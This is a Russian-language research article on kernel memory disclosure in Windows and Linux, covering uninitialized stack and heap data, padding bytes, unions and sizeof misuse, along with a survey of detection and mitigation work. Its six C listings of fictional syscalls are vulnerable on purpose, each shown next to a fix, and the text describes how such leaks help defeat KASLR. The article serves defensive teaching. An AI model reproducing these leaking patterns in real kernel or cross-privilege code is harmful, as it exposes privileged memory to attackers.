Хотя в документе пристально рассматриваются механизмы общения привилегированного ядра ОС с пользовательскими приложениями, суть проблемы можно обощить для любой передачи данных между различными доменами безопасности: гипервизор — гостевая машина, привилегированный системный сервис (демон) — GUI приложение, сетевые клиент — сервер и т.д.
Введение
--------
Одной из задач современных операционных систем является обеспечение разделения привилегий между пользовательскими приложениями и ядром ОС. Во-первых к этому относится то, что влияние каждой программы на среду выполнения должно быть ограничено определенной политикой безопасности, а во вторых то, что программы могут получать доступ только к той информации, которую им разрешено читать. Второе сложно обеспечить, учитывая свойства языка C (основного языка программирования, используемого при разработке ядра), которые делают чрезвычайно сложным безопасную передачу данных между различными доменами безопасности.
Современные операционные системы, работающие на платформах x86/x86-64, многопоточны и используют клиент-серверную модель, в которой приложения пользовательского режима (клиенты) выполняются независимо друг от друга и вызывают ядро ОС (сервер) при намерении работать с ресурсом, управляемым системой. Механизм, используемый кодом режима пользователя ([ring 3](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BB%D1%8C%D1%86%D0%B0_%D0%B7%D0%B0%D1%89%D0%B8%D1%82%D1%8B)) для вызова заранее определенного набора функций ядра ОС (ring 0), называется системными вызовами (system calls) или (коротко) syscalls. Типичный системный вызов показан на рисунке 1:
*Рисунок 1: Жизненный цикл системного вызова.*
Очень важно избегать непреднамеренной утечки содержимого памяти ядра при взаимодействии с программами пользовательского режима. Существует значительный риск раскрытия чувствительных данных ядра ОС. Данные могут неявно передаваться в выходных параметрах безопасных (с остальных точек зрения) системных вызовов.
Раскрытие привилегированной системной памяти происходит, когда ядро ОС возвращает регион памяти, больший (избыточного размера), чем необходимо для хранения соответствующей информации (содержащейся внутри). Часто избыточные байты содержат данные, которые были заполнены в другом контексте, а затем память не была предварительно инициализирована, что предотвратило бы распространение информации в новые структуры данных.
Специфика языка программирования C
----------------------------------
В этом разделе мы рассмотрим несколько аспектов языка C, которые наиболее важны для проблемы раскрытия памяти.
#### Неопределенное состояние неинициализированных переменных
Отдельные переменные простых типов (таких, как char или int), а также члены структур данных (массивы, структуры и объединения) остаются в неопределенном состоянии до первой инициализации (вне зависимости от размещения их на стеке или в куче). Соответствующие цитаты из спецификации C11 (ISO/IEC 9899:201x Committee Draft N1570, April 2011):
> 6.7.9 Initialization
>
> …
>
> 10 If an object that has automatic storage duration is not initialized explicitly, its value is indeterminate.
>
>
>
> 7.22.3.4 The malloc function
>
> …
>
> 2 The malloc function allocates space for an object whose size is specified by size and whose value is indeterminate.
>
>
>
> 7.22.3.5 The realloc function
>
> …
>
> 2 The realloc function deallocates the old object pointed to by ptr and returns a pointer to a new object that has the size specified by size. The contents of the new object shall be the same as that of the old object prior to deallocation, up to the lesser of the new and old sizes. Any bytes in the new object beyond the size of the old object have indeterminate values.
Наиболее применима к системному коду та часть, что относится к объектам, расположенным на стеке, поскольку ядро ОС обычно имеет интерфейсы динамического выделения с их собственной семантикой (не обязательно совместимые со стандартной библиотекой C, как будет описано далее).
Насколько нам известно, ни один из трех самых популярных компиляторов C для Windows и Linux (Microsoft C/C++ Compiler, gcc, LLVM) не создает код, который предварительно инициализирует неинициализированные программистом переменные на стеке в режиме Release-сборки (или ее эквивалента). Существуют опции компилятора, позволяющие помечать фреймы стека специальными байтами — маркерами (/RTCs в Microsoft Visual Studio, например) но они не используются в Release-сборках по соображениям производительности. В результате неинициализированные переменные на стеке *наследуют* старые значения соответствующих областей памяти.
Рассмотрим пример стандартной реализации вымышленного системного вызова Windows, который умножает входное целое на два и возвращает результат умножения (листинг 1). Очевидно, что в частном случае (InputValue == 0) переменная OutputValue остается неинициализированной и копируется обратно клиенту. Такая ошибка позволяет раскрывать четыре байта памяти стека ядра при каждом вызове.
```
NTSTATUS NTAPI NtMultiplyByTwo(DWORD InputValue, LPDWORD OutputPointer) {
DWORD OutputValue;
if (InputValue != 0) {
OutputValue = InputValue * 2;
}
*OutputPointer = OutputValue;
return STATUS_SUCCESS;
}
```
*Листинг 1: Раскрытие памяти через неинициализированную локальную переменную.*
Утечки через неинициализированную локальную переменную на практике не очень распространены: с одной стороны современные компиляторы часто обнаруживают и предупреждают о таких проблемах, с другой стороны подобные утечки являются функциональными ошибками, которые могут быть обнаружены во время разработки или тестирования. Однако второй пример (в листинге 2) показывает, что утечка может также происходить через поле структуры.
В этом случае зарезервированное поле структуры никогда явно не используется в коде, но все же копируется обратно в пользовательский режим и, следовательно, также раскрывает четыре байта памяти ядра вызывающему коду. В этом примере отчетливо видно, что инициализация каждого поля каждой структуры, возвращаемой клиенту, для всех веток исполнения кода является непростой задачей. Во многих случаях принудительная инициализация выглядит нелогично, особенно если это поле не играет никакой практической роли. Но именно тот факт, что не проинициализированная переменная (или поле структуры) на стеке (или в куче) принимает содержимое данных, ранее сохраненных в этой областях памяти (в контексте другой операции), лежит в основе проблемы раскрытия памяти ядра.
```
typedef struct _SYSCALL_OUTPUT {
DWORD Sum;
DWORD Product;
DWORD Reserved;
} SYSCALL_OUTPUT, *PSYSCALL_OUTPUT;
NTSTATUS NTAPI NtArithOperations(
DWORD InputValue,
PSYSCALL_OUTPUT OutputPointer
) {
SYSCALL_OUTPUT OutputStruct;
OutputStruct.Sum = InputValue + 2;
OutputStruct.Product = InputValue * 2;
RtlCopyMemory(OutputPointer, &OutputStruct, sizeof(SYSCALL_OUTPUT));
return STATUS_SUCCESS;
}
```
*Листинг 2: Раскрытие памяти через зарезервированное поле структуры.*
#### Выравнивание структур и заполняющие (padding) байты
Инициализация всех полей выходной структуры является хорошим началом, чтобы избежать раскрытия памяти. Но и этого не достаточно, что бы гарантировать, что в низкоуровневом представлении отсутствуют неинициализированные байты. Давайте снова обратимся к спецификации C11:
> 6.5.3.4 The sizeof and Alignof operators
>
> …
>
> 4 [...] When applied to an operand that has structure or union type, the result is the total number of bytes in such an object, including internal and trailing padding.
>
>
>
> 6.2.8 Alignment of objects
>
> 1 Complete object types have alignment requirements which place restrictions on the addresses at which objects of that type may be allocated. An alignment is an implementation-defined integer value representing the number of bytes between successive addresses at which a given object can be allocated. [...]
>
>
>
> 6.7.2.1 Structure and union specifiers
>
> …
>
> 17 There may be unnamed padding at the end of a structure or union.
То есть компиляторы языка С для x86(-64) архитектур применяют естественное выравнивание полей структур (имеющих примитивный тип): каждое такое поле выравнивается на N байт, где N — размер поля. Кроме того, целые структуры и объединения также выровнены, когда они объявляются в массиве, при этом выполняется требование к выравниванию вложенных полей. Чтобы обеспечить выравнивание, неявные байты заполнения (padding) вставляются в структуры там, где это необходимо. Хотя они не доступны напрямую в исходном коде, эти байты также наследуют старые значения из областей памяти и могут передавать информацию в пользовательский режим.
В примере из листинга 3 структура SYSCALL\_OUTPUT возвращается обратно вызывающему коду. Она содержит 4-х и 8-ми байтовые поля, разделенные 4-мя байтами заполнения (padding), необходимыми для того, что бы адрес поля LargeSum стал кратен 8-ми. Несмотря на то, что оба поля правильно инициализированы, байты заполнения (padding) не заданы явно, что опять-таки приводит к раскрытию памяти стека ядра. Специфика расположение структуры в памяти показана на рисунке 2.
```
typedef struct _SYSCALL_OUTPUT {
DWORD Sum;
QWORD LargeSum;
} SYSCALL_OUTPUT, *PSYSCALL_OUTPUT;
NTSTATUS NTAPI NtSmallSum(
DWORD InputValue,
PSYSCALL_OUTPUT OutputPointer
) {
SYSCALL_OUTPUT OutputStruct;
OutputStruct.Sum = InputValue + 2;
OutputStruct.LargeSum = 0;
RtlCopyMemory(OutputPointer, &OutputStruct, sizeof(SYSCALL_OUTPUT));
return STATUS_SUCCESS;
}
```
*Листинг 3: Раскрытие памяти через выравнивание структуры.*
Рисунок 2: Представление структуры в памяти с учетом выравнивания.
Утечки через выравнивания относительно распространены, так как достаточно много выходных параметров системных вызовов представлены структурами. Проблема особенно остро встает для 64-х битных платформ, где размер указателей, size\_t и подобных типов увеличивается с 4 до 8 байт, что приводит к появлению заполнения (padding), необходимого для выравнивания полей таких структур.
Поскольку байты заполнения (padding) не могут быть адресованы в исходном коде, необходимо использовать memset или аналогичную функцию для сброса всей области памяти структуры до инициализации любого из ее полей и копирования ее в пользовательский режим, например:
```
memset(&OutputStruct, 0, sizeof(OutputStruct));
```
Тем не менее, Seacord R. C. в своей книге "The CERT C Coding Standard, Second Edition: 98 Rules for Developing Safe, Reliable, and Secure Systems. Addison-Wesley Professional" 2014 утверждает, что это не идеальное решение, поскольку байты заполнения (padding) могут по-прежнему быть *сбиты* после вызова memset, например, как побочный эффект операций со смежными полями. Озабоченность может быть оправдана следующим утверждением в спецификации С:
> 6.2.6 Representations of types
>
> 6.2.6.1 General
>
> …
>
> 6 When a value is stored in an object of structure or union type, including in a member object, the bytes of the object representation that correspond to any padding bytes take unspecified values. [...]
Однако на практике ни один из компиляторов C, которые мы тестировали, не читал и не писал за пределами областей памяти явно объявленных полей. Похоже, что это мнение разделяют разработчики операционных системы, которые используют memset.
#### Объединения (Unions) и поля разного размера
Объединения — еще одна сложная конструкция языка C в контексте общения с менее привилегированным вызывающим кодом. Рассмотрим как спецификация C11 описывает представление объединений в памяти:
> 6.2.5 Types
>
> …
>
> 20 Any number of derived types can be constructed from the object and function types, as follows: [...] A union type describes an overlapping nonempty set of member objects, each of which has an optionally specified name and possibly distinct type.
>
>
>
> 6.7.2.1 Structure and union specifiers
>
> …
>
> 6 As discussed in 6.2.5, a structure is a type consisting of a sequence of members, whose storage is allocated in an ordered sequence, and a union is a type consisting of a sequence of members whose storage overlap.
>
> …
>
> 16 The size of a union is sufficient to contain the largest of its members. The value of at most one of the members can be stored in a union object at any time.
Проблема состоит в том, что если объединение состоит из нескольких полей разного размера и явно инициализировано только одно полей меньшего размера, то оставшиеся байты, выделенные для размещения больших полей, остаются неинициализированными. Давайте рассмотрим пример гипотетического обработчика системных вызовов, представленный в листинге 4, вместе с распределением памяти объединения SYSCALL\_OUTPUT, показанным на рисунке 3.
```
typedef union _SYSCALL_OUTPUT {
DWORD Sum;
QWORD LargeSum;
} SYSCALL_OUTPUT, *PSYSCALL_OUTPUT;
NTSTATUS NTAPI NtSmallSum(
DWORD InputValue,
PSYSCALL_OUTPUT OutputPointer
) {
SYSCALL_OUTPUT OutputStruct;
OutputStruct.Sum = InputValue + 2;
RtlCopyMemory(OutputPointer, &OutputStruct, sizeof(SYSCALL_OUTPUT));
return STATUS_SUCCESS;
}
```
*Листинг 4: Раскрытие памяти через частичную инициализацию объединения.*
*Рисунок 3: Представление объединения в памяти с учетом выравнивания.*
Получается, что общий размер объединения SYSCALL\_OUTPUT составляет 8 байт (из-за размера большего поля LargeSum). Тем не менее, функция задает только значение меньшего поля, оставляя 4 конечных байта неинициализированными, что впоследствии и приводит к утечке их клиентскому приложению.
Безопасная реализация должна устанавливать только поле Sum в пользовательском адресном пространстве, а не копировать весь объект с потенциально неиспользуемыми областями памяти. Еще один рабочий вариант исправления — вызов функции memset для обнуления копии объединения в памяти ядра до установки любого из его полей и передачи его обратно в пользовательский режим.
#### Небезопасный sizeof
Как показано в двух предыдущих подразделах, использование оператора sizeof может напрямую или косвенно способствовать раскрытию памяти ядра, провоцируя копирование большего количества данных, чем ранее инициализировалось.
В языке C отсутствует аппарат, необходимый для безопасного переноса данных из ядра в пользовательское пространство — или, в более общем плане, между любыми разными контекстами безопасности. Язык не содержит метаданных времени исполнения, которые могут явно указать, какие байты были установлены в каждой структуре данных, которая используется для взаимодействия с ядром ОС. В результате ответственность ложиться на программиста, который должен сам определять какие части каждого объекта должны быть переданы вызывающему коду. Если делать правильно, то нужно написать отдельную функцию безопасного копирования для каждой структуры выходных данных, используемых в системных вызовах. Что в свою очередь приведет к раздуванию размера кода, ухудшению его читаемости и в целом будет утомительной и трудоемкой задачей.
С другой стороны, удобно и просто копировать всю область памяти ядра с помощью одного вызова memcpy и аргумента sizeof, и пусть клиент определит, какие части выходных данных будут использоваться. Получается, что это этот подход используется сегодня в Windows и Linux. А когда обнаруживается конкретный случай утечки информации, патч с вызовом memset незамедлительно предоставляется и распространяется производителем ОС. К сожалению, это не решает проблему в общем случае.
Специфика конкретных ОС
-----------------------
Существуют определенные решения для проектирования ядра, методы программирования и шаблоны кода, которые влияют на то, насколько склонна операционная система к уязвимостям на раскрытие памяти. Именно они рассматриваются в следующих подразделах.
#### Переиспользование динамической памяти
Текущие распределители (allocator) динамической памяти (как в режиме пользователя, так и в режиме ядра) сильно оптимизированы, так как их производительность оказывает значительное влияние на производительность всей системы. Одной из наиболее важных оптимизаций является повторное использование памяти: при освобождении соответствующая память редко полностью отбрасывается, вместо этого она сохраняется в списке регионов, готовых к возврату при следующем запросе на выделение. Чтобы сэкономить циклы ЦП, области памяти по умолчанию не очищаются между освобождением и новым выделением. В результате этого получается, что две несвязанные части ядра работают с одним и тем же диапазоном памяти в течении короткого времени. Это означает, что утечка содержимого динамической памяти ядра позволяет раскрывать данные различных компонентов ОС.
В следующих параграфах мы приводим краткий обзор распределителей памяти (allocators), используемых в ядрах Windows и Linux, и их наиболее примечательных качеств.
**Windows**
Ключевой функцией диспетчера пула ядра Windows является [ExAllocatePoolWithTag](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-exallocatepoolwithtag), которая может вызываться напрямую или через одну из доступных оболочек: ExAllocatePool{∅, Ex, WithQuotaTag, WithTagPriority}. Ни одна из этих функций не сбрасывает содержимое возвращаемой памяти, ни по умолчанию, ни через любые входные флаги. Напротив, все они имеют следующее предупреждение в своих соответствующих документах документации MSDN:
> Note Memory that function allocates is uninitialized. A kernel-mode driver must first zero this memory if it is going to make it visible to user-mode software (to avoid leaking potentially privileged contents).
Вызывающий код может выбрать один из шести основных типов пулов: NonPagedPool, NonPagedPoolNx, NonPagedPoolSession, NonPagedPoolSessionNx, PagedPool и PagedPoolSession. Каждый из них имеет отдельный регион в виртуальном адресном пространстве, и поэтому выделенные области памяти могут быть повторно использованы только в пределах этого же типа пула. Частота повторного использования кусков памяти очень высока, а обнуленные области обычно возвращаются только в том случае, если подходящая запись не найдена в lookaside-списках, или запрос настолько велик, что требуются новые страницы памяти. Другими словами, в настоящее время практически нет факторов, препятствующих раскрытию памяти пула в Windows, и почти каждая такая ошибка может быть использована для утечки конфиденциальных данных из разных частей ядра.
**Linux**
Ядро Linux имеет три основных интерфейса для динамического выделения памяти:
* **kmalloc** — общая функция, используемая для выделения блоков памяти произвольного размера (непрерывных как в виртуальном, так и в физическом адресном пространстве), использует [распределение памяти slab](https://ru.wikipedia.org/wiki/Slab).
* **kmem\_cache\_create** и **kmem\_cache\_alloc** — специализированный механизм выделения объектов фиксированного размера (структур, например), так же использует [распределение памяти slab](https://ru.wikipedia.org/wiki/Slab).
* **vmalloc** — редко используемая функция выделения, возвращающая регионы, непрерывность которых не гарантирована на уровне физической памяти.
Эти функции (сами по себе) не гарантируют, что выделенные регионы не будут содержать старые (потенциально конфиденциальные) данные, что делает возможным раскрытие памяти кучи ядра. Однако существует несколько способов, используя которые вызывающий код может запрашивать обнуленную память:
* Функция **kmalloc** имеет аналог **kzalloc**, который гарантирует, что возвращенная память очищена.
* Дополнительный флаг \_\_GFP\_ZERO может быть передан в **kmalloc**, **kmem\_cache\_alloc** и некоторые другие функции для достижения того же результата.
* **kmem\_cache\_create** принимает указатель на необязательную функцию-конструктор, вызываемую для предварительной инициализации каждого объекта, прежде чем вернуть его вызывающему коду. Конструктор может быть реализован как обертка вокруг memset для обнуления заданной области памяти.
Мы видим в наличии этих опций выгодные условия для безопасности ядра, поскольку они побуждают разработчиков принимать осознанные решения и позволяют им просто работать с существующими функциями распределения памяти вместо того, чтобы добавлять дополнительные вызовы memset после каждого выделения динамической памяти.
#### Массивы фиксированного размера
Доступ к некоторому количеству ресурсов ОС можно получить по их тестовым именам. Разнообразие именованных ресурсов в Windows очень велико, например: файлы и директории, ключи и значения ключей реестра, окна, шрифты и многое другое. Для некоторых из них длина имени ограничена и выражается константой, такой как MAX\_PATH (260) или LF\_FACESIZE (32). В таких случаях разработчики ядра часто упрощают код, объявляя буферы максимально допустимого размера и копируя их целиком (например, используя ключевое слово sizeof) вместо того, чтобы работать только с соответствующей частью строки. Это особенно удобно, если строки являются членами более крупных структур. Такие объекты можно свободно перемещать в памяти, не беспокоясь об управлении указателями на динамическую память.
Как и следовало ожидать, большие буферы редко используются полностью, а оставшееся место для хранения часто не сбрасывается. Это может привести к особенно сильным утечкам длинных непрерывных областей памяти ядра. В примере, показанном в листинге 5, системный вызов использует функцию RtlGetSystemPath для загрузки системного пути в локальный буфер, и если вызов завершается успешно, все 260 байтов передаются вызывающему, независимо от фактической длины строки.
```
NTSTATUS NTAPI NtGetSystemPath(PCHAR OutputPath) {
CHAR SystemPath[MAX_PATH];
NTSTATUS Status;
Status = RtlGetSystemPath(SystemPath, sizeof(SystemPath));
if (NT_SUCCESS(Status)) {
RtlCopyMemory(OutputPath, SystemPath, sizeof(SystemPath));
}
return Status;
}
```
*Листинг 5: Раскрытие памяти через частичную инициализацию буфера строки.*
Регион памяти, скопированный обратно в пользовательское пространство в этом примере, показан на рисунке 4.
*Рисунок 4: Память частично инициализированного буфера строки.*
Безопасная реализация должна возвращать только запрошенный путь, а не весь буфер, используемый для хранения. Этот пример еще раз демонстрирует, как оценка размера данных оператором sizeof (используемого как параметр для RtlCopyMemory) может быть совершенно неверной по отношению к фактическому количеству данных, которое ядро должно передать в пользовательскую область.
#### Произвольный размер выходных данных системного вызова
Большинство системных вызовов принимают указатели на выходные данные из пользовательского режима вместе с размером буфера. В большинстве случаев информацию о размере следует использовать только для определения того, достаточен ли предоставленный буфер для получения выходных данных системного вызова. Не следует использовать весь размер предоставленного выходного буфера для задания объема копируемой памяти. Тем не менее, мы наблюдаем случаи, когда ядро будет пытаться использовать каждый байт выходного буфера пользователя, не считая количества фактических данных, которые необходимо скопировать. Пример такого поведения показан в листинге 6.
```
NTSTATUS NTAPI NtMagicValues(LPDWORD OutputPointer, DWORD OutputLength) {
if (OutputLength < 3 * sizeof(DWORD)) {
return STATUS_BUFFER_TOO_SMALL;
}
LPDWORD KernelBuffer = Allocate(OutputLength);
KernelBuffer[0] = 0xdeadbeef;
KernelBuffer[1] = 0xbadc0ffe;
KernelBuffer[2] = 0xcafed00d;
RtlCopyMemory(OutputPointer, KernelBuffer, OutputLength);
Free(KernelBuffer);
return STATUS_SUCCESS;
}
```
*Листинг 6: Раскрытие памяти через выходной буфер произвольного размера.*
Целью системного вызова является предоставление вызывающему коду трех специальных 32-х битных значений, занимающих в общей сложности 12 байт. Хотя проверка правильности размера буфера в самом начале функции верна, использование аргумента OutputLength должно на этом и заканчиваться. Зная, что выходной буфер имеет достаточный размер, чтобы сохранить результат, ядро может выделить 12 байт памяти, заполнить ее и скопировать содержимое обратно в предоставленный буфер пользовательского режима. А вместо этого системный вызов выделяет блок пула (причем с контролируемой пользователем длиной) и копирует выделенную память целиком в пользовательское пространство. Получается, что все байты, кроме первых 12-ти, не инициализируются и ошибочно раскрываются пользователю, как показано на рисунке 5.
*Рисунок 5: Память буфера произвольного размера.*
Схема, обсуждаемая в этом разделе, особенно характерна для Windows. Подобная ошибка может предоставить злоумышленнику чрезвычайно полезный примитив для раскрытия памяти:
* Оптимизация, часто используемая в системных вызовах Windows, заключается в использовании буферов на основе стека для небольших размеров и выделение памяти из пулов для более крупных. В сочетании с подобной утечкой это может облегчить раскрытие как стека ядра, так и пула с помощью одной уязвимости.
* Возможность контролировать размер раскрываемых данных из пула дает злоумышленнику возможность управлять типом конфиденциальной информации. Это становится возможным, учитывая современные механизмы распределения памяти, имеющие тенденцию к кэшированию областей памяти для последующих запросов выделения памяти с тем же размером буфера. Что дает возможность читать специфические данные, недавно освобожденные другим (в общем случае — не связанным) компонентом ядра.
Таким образом, это один из самых опасных типов раскрытия информации. Безопасная реализация должна отслеживать количество байтов, записанных во временное хранилище ядра, и передавая только этот объем данных клиенту.
Факторы, способствующие появлению ошибок раскрытия памяти
---------------------------------------------------------
Здесь мы расскажем о том, какие существуют проблемы с выявлением ошибок раскрытия памяти в ходе разработки. Что в течение многих лет способствовало отсутствию признания проблемы, что в свою очередь привело к нагромождению в ядре Windows десятков ошибок раскрытия памяти.
**Отсутствие видимых последствий**
Как правило, ошибки раскрытия информации более сложны для обнаружения, чем нарушения памяти. Последние обычно проявляются в виде сбоев программного обеспечения, особенно в сочетании со специализированными механизмами: [AddressSanitizer](https://en.wikipedia.org/wiki/AddressSanitizer), [PageHeap](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/enable-page-heap) или [Special Pool](https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/special-pool). Раскрытие информации, напротив, не вызывает каких-либо наблюдаемых проблем и не может быть легко распознано программными решениями. Конфиденциальность любой информации очень субъективна и требуется оценка человеком, что бы определить легитимность предоставленной информации в контексте безопасности. С другой стороны, когда гигабайты траффика передаются между ядром и пользовательским пространством, из памяти программ в файлы на диск, с одной машины на другую через сеть и между контекстами безопасности, не представляется возможным вручную просмотреть весь этот трафик, что бы найти случаи ошибок раскрытия памяти. В результате многие ошибки могут активно *сливать* данных в течение многих лет, прежде чем они будут замечены (если вообще будут замечены).
Тот факт, что уведомление о подобных утечках не дает ощутимой обратной связи от разработчиков ядра, также означает, что они не учатся на своих ошибках. И что они будут повторять одни и те же небезопасные шаблоны кода в нескольких местах, так как они не знают об этом классе ошибок и не предпринимают действий к предотвращению возникновение подобных проблем.
**Утечки, скрытые за системным API**
Типичные клиентские приложения реализуют свою функциональность с использованием высокоуровневого системного API, особенно в Windows (Win32/User32 API). API часто отвечает за преобразование входных параметров во внутренние структуры, принятые системными вызовами, и аналогичным образом преобразует выходные данные системных вызовов в формат, понятный вызывающему коду клиентского приложения. В этом случае содержимое памяти, раскрываемое ядром, может быть отброшено системной библиотекой пользовательского режима и, следовательно, никогда не будет передана обратно программе. Это еще больше уменьшает видимость утечек и снижает вероятность их обнаружения при разработке *обычного* программного обеспечения.
Значимость и влияние на безопасность системы
--------------------------------------------
По своей природе, утечки памяти памяти ядра в пользовательское пространство являются сугубо локальными ошибками раскрытия информации. Они не приводят к порче памяти или эксплуатации удаленного исполнения, а злоумышленник уже должен иметь возможность исполнения произвольного кода на целевой машине. Но с другой стороны стоит учитывать, что большинство раскрытий совершаются *молча* и не оставляют никаких следов в системе, что позволяет практически бесконечно эксплуатировать подобные ошибки, пока не будет достигнута цель эксплойта. Серьезность проблемы должна оцениваться в каждом конкретном случае, поскольку она зависит от степени утечки и типа данных, которые могут быть раскрыты.
В общем, класс подобных ошибок кажется вполне полезным, как одно из звеньев в длинной цепочке локального повышения привилегий. В настоящее время основная техника, которая основана на неразглашении данных это KASLR (Kernel [Address Space Layout Randomization](https://ru.wikipedia.org/wiki/ASLR)), а расположение различных объектов в адресном пространстве ядра является одним из самых распространенных типов утечек данных. Реальный пример: эксплойт ядра Windows, обнаруженный в дампе Hacking Team в июле 2015 года ([Juan Vazquez. Revisiting an Info Leak](https://blog.rapid7.com/2015/08/14/revisiting-an-info-leak/)) в котором использовалось раскрытие памяти пула для определения (derandomize) базового адреса загрузки драйвера win32k.sys, впоследствии используемого для применения в другой уязвимости. Кстати, этот же дефект был обнаружен в тоже время Matt Tait'ом из Google Project Zero ([Kernel-mode ASLR leak via uninitialized memory returned to usermode by NtGdiGetTextMetrics](https://bugs.chromium.org/p/project-zero/issues/detail?id=480)) и исправлен в бюллетене MS15-080 (CVE-2015-2433).
**Стеки**
Различие между стеком и динамической памятью (пулы/кучи) заключается в том, что в стеках обычно хранятся данные, связанные непосредственно с потоком управления (control flow), такие как: адреса модулей ядра, адреса динамической памяти, и секретные значения, установленные механизмами безопасности, такими как StackGuard на Linux и [/GS на Windows](https://msdn.microsoft.com/en-us/library/8dbf701c.aspx). Это значимые фрагменты информации, которые могут быть немедленно применены потенциальным злоумышленником в совокупности с эксплоитами порчи памяти. Тем не менее разнообразие данных на стеке ограничено, что позволяет предположить, что эксплуатация утечки стека не представляет большой ценности в виде автономной уязвимости.
**Динамическая память (пулы/кучи)**
Динамическая память ядра (пулы/кучи) содержит адреса исполняемых модулей, адреса динамически выделенной памяти, а так же ряд конфиденциальных данных, обрабатываемых различными компонентами системы: дисковыми драйверами, драйверами файловых систем, сетевыми драйверами, драйверами видео и так далее. Утечка этой информации позволяет злоумышленнику эффективно следить за деятельностью привилегированных сервисов и других пользователей системы, потенциально получая содержимое конфиденциальных данных, которые имеют ценность сами по себе. Плюс полученные данные могут использоваться при эксплуатации другой ошибки. В целом, проблема эксплуатируемой утечки конкретных типов данных из ядра (содержимого файлов, сетевого трафика или паролей) остается открытой и, к сожалению, она не исследована в должной мере.
Другие существующие исследования
--------------------------------
#### Microsoft Windows
**Обнаружение**
До 2015 года в публичных источниках практически не обсуждалась проблема раскрытия памяти в Windows. В июле 2015 года Matt Tait сообщил о проблеме раскрытия неинициализированной памяти пула через системный вызов win32k!NtGdiGetTextMetrics. Использование этой же проблемы было обнаружено в эксплойте ядра Windows из дампа Hacking Team. Насколько нам известно, это было первое публичное доказательств того, что уязвимости этого типа были успешно использованы, как часть цепочки 0-day эксплойта по локальному повышению привилегий в Windows.
Так же в 2015, WanderingGlitch (HP Zero Day Initiative) был упомянут в восьми обнаруженных уязвимостях раскрытия памяти ядра ([Acknowledgments – 2015](https://docs.microsoft.com/en-us/security-updates/Acknowledgments/2015/acknowledgments2015)). Некоторые из этих уязвимостей будут позже рассмотрены автором на конференции Ruxcon 2016 (посвящённой информационной безопасности) во время доклада ["Leaking Windows Kernel Pointers"](https://ruxcon.org.au/assets/2016/slides/RuxCon%20-%20Leaking%20Windows%20Kernel%20Pointers.pdf).
И наконец, в июне 2017 fanxiaocao и pjf из IceSword Lab (Qihoo 360) опубликовали статью ["Automatically Discovering Windows Kernel Information Leak Vulnerabilities"](http://www.iceswordlab.com/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/), где описали свой инструмент, который позволил им обнаружить суммарно 14 утечек в 2017 году (8 из которых пересекаются с обнаруженными нами). Во многом их проект похож на наш Bochspwn Reloaded, в частности в том как он отслеживает стеки ядра и выделения в пулах, и автоматизирует обнаружение утечек анализируя все записи памяти ядра в пользовательское пространство. Ключевое различие заключается в использовании виртуальной машины VMware вместо полной программной эмуляции (Bochs) и отсутствии реализации слежения за всей неинициализированной памятью ядра. Насколько нам известно, помимо Bochspwn Reloaded, это была первая попытка автоматизированной идентификации раскрытия памяти ядра в операционной системе с закрытым исходным кодом.
Хотя это напрямую не связано с уязвимостями раскрытия памяти, стоит отметить, что еще в 2010-2011 годах были обнаружены утечки нескольких адресов ядра через неинициализированные переменные, возвращаемые в системных вызовах win32k: ["Challenge: On 32bit Windows7, explain where the upper 16bits of eax come from after a call to NtUserRegisterClassExWOW()"](https://twitter.com/taviso/status/16853682570) и ["Subtle information disclosure in WIN32K.SYS syscall return values"](http://j00ru.vexillium.org/?p=762). Против обнаруженных проблем должны были быть приняты меры в Windows 8, но в 2015 году Matt Tait заметил, что исправления были не полными и обнаружил еще несколько новых проблем: [Google Project Zero Bug Tracker](https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=id%3A390%2C435%2C453).
**Противодействие**
Одним из немногих общих механизмов противодействия (о котором мы знаем), является то, что с июня 2017 года диспетчер ввода-вывода Windows сбрасывает содержимое выходной памяти для всех операций ввода-вывода, обработанных драйверами ядра: Joseph Bialek — ["Anyone notice my change to the Windows IO Manager to generically kill a class of info disclosure? BufferedIO output buffer is always zero’d"](https://twitter.com/JosephBialek/status/875427627242209280). Это изменение уничтожило большой класс утечек, когда IOCTL-обработчик не заполнял часть байт выходного буфера или весь буфер целиком.
Еще одним незначительным улучшением безопасности является тот факт, что в Visual Studio 15.5 и новее [POD-структуры](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%81%D1%82%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85), которые инициализируются объявлением с использованием директивы "= {0}", заполняются нулями целиком. Предыдущие версии обнуляли каждое из полей структуры, оставляя возможность потенциальной утечки в padding-байтах (выравнивание) между полями структуры.
#### Linux
В отличие от Windows, в сообществе Linux в течение многих лет обсуждали проблемы раскрытия памяти, всплеск интереса к этой теме начался приблизительно в 2010 году. С тех пор был разработан ряд исследовательских проектов, в которых основное внимание уделяется автоматизированному обнаружению утечек данных ядра и уменьшению (или полному аннулированию) влияния предполагаемых (но неизвестных на текущий момент) проблем. Мы считаем, что разрыв в современном уровне техник между Windows и Linux в первую очередь обусловлен природой открытого исходного кода последнего, что позволяет легко экспериментировать с различными подходами — статическими, динамическими и их сочетаниями.
**Обнаружение**
В течении последнего десятилетия, в ядро Linux было влито множество исправлений утечек памяти ядра. Согласно документу "Linux kernel vulnerabilities: State-of-the-art defenses and open problems" с января 2010 года по март 2011 было исправлено 28 раскрытий неинициализированной памяти ядра. В исследовании 2017-го года "Securing software systems by preventing information leaks" Lu K. говорит уже о 59 подобных уязвимостях, обнаруженных с января 2013-го по май 2016-го. Большая часть проблем данного класса была обнаружена небольшой группой исследователей. Например: Rosenberg и Oberheide совместно обнаружили более 25 уязвимостей, связанных с раскрытием в Linux в 2009-2010 годах, в основном из стека ядра. Впоследствии они продемонстрировали полезность таких раскрытий при эксплуатации ядер Linux c [grsecurity](https://grsecurity.net/)/[PaX-hardened](https://pax.grsecurity.net/). Vasiliy Kulikov нашел более 25 утечек в 2010-2011 годах, используя [ручной анализ и Coccinelle](http://seclists.org/oss-sec/2010/q4/129). Аналогичным образом, Mathias Krause [идентифицировал и исправил 21 проблему раскрытия памяти ядра в 2013 году](http://www.openwall.com/lists/oss-security/2013/03/05/13) и более 50 ошибок этого класса за все время.
